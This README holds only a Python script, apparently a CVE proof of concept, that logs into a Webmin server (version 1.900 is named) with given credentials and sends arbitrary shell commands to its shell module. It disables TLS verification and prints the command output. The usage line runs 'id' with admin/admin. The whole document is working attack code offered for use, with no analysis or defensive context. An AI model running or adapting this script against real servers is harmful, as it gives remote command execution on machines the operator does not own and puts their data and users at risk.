README.md
Rendering markdown...
import requests
import sys
import urllib3
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(ip, port, user, password, command):
base_url = f"http://{ip}:{port}"
session = requests.Session()
# 1. Login
login_url = f"{base_url}/session_login.cgi"
login_data = {'user': user, 'pass': password, 'page': '/'}
headers = {'Referer': login_url}
try:
print(f"[*] Logging in to {base_url}...")
session.post(login_url, data=login_data, headers=headers, cookies={'testing': '1'}, verify=False, allow_redirects=False)
if 'sid' not in session.cookies:
print("[-] Login Failed.")
return
# 2. Execute via Shell Module using Multipart Encoding
print(f"[*] Sending command: {command}")
shell_url = f"{base_url}/shell/index.cgi"
# We must use 'files' to force multipart/form-data encoding
# We include 'd' and 'pwd' which are required for the shell to process
form_data = {
'cmd': (None, command),
'pwd': (None, '/root'),
'history': (None, '0'),
'previous': (None, '0'),
'd': (None, '')
}
headers['Referer'] = f"{base_url}/shell/"
# Let requests handle the Boundary header by not setting Content-Type manually
resp = session.post(shell_url, files=form_data, headers=headers, verify=False)
# 3. Clean Extract
if resp.status_code == 200:
# Webmin 1.900 places output inside <pre id='output'> or just <pre>
if "<pre>" in resp.text:
output = resp.text.split("<pre>")[1].split("</pre>")[0]
# Remove the command echo if it exists
clean_output = re.sub(r'^.*' + re.escape(command), '', output, flags=re.DOTALL)
print("\n[+] Output:")
print("-" * 40)
print(clean_output.strip())
print("-" * 40)
else:
# If no pre tags, look for the text right before the </div>
print("[+] Command Sent. Response received.")
# Basic scrape to find text between the last <hr> and the button
parts = resp.text.split("<hr>")
if len(parts) > 2:
print(parts[2].split("<a")[0].replace(' ', '').strip())
else:
print("[-] Output tag not found, but command likely executed.")
else:
print(f"[-] Request failed with status: {resp.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Example: python3 cve.py 172.16.1.1 10000 admin admin id
exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])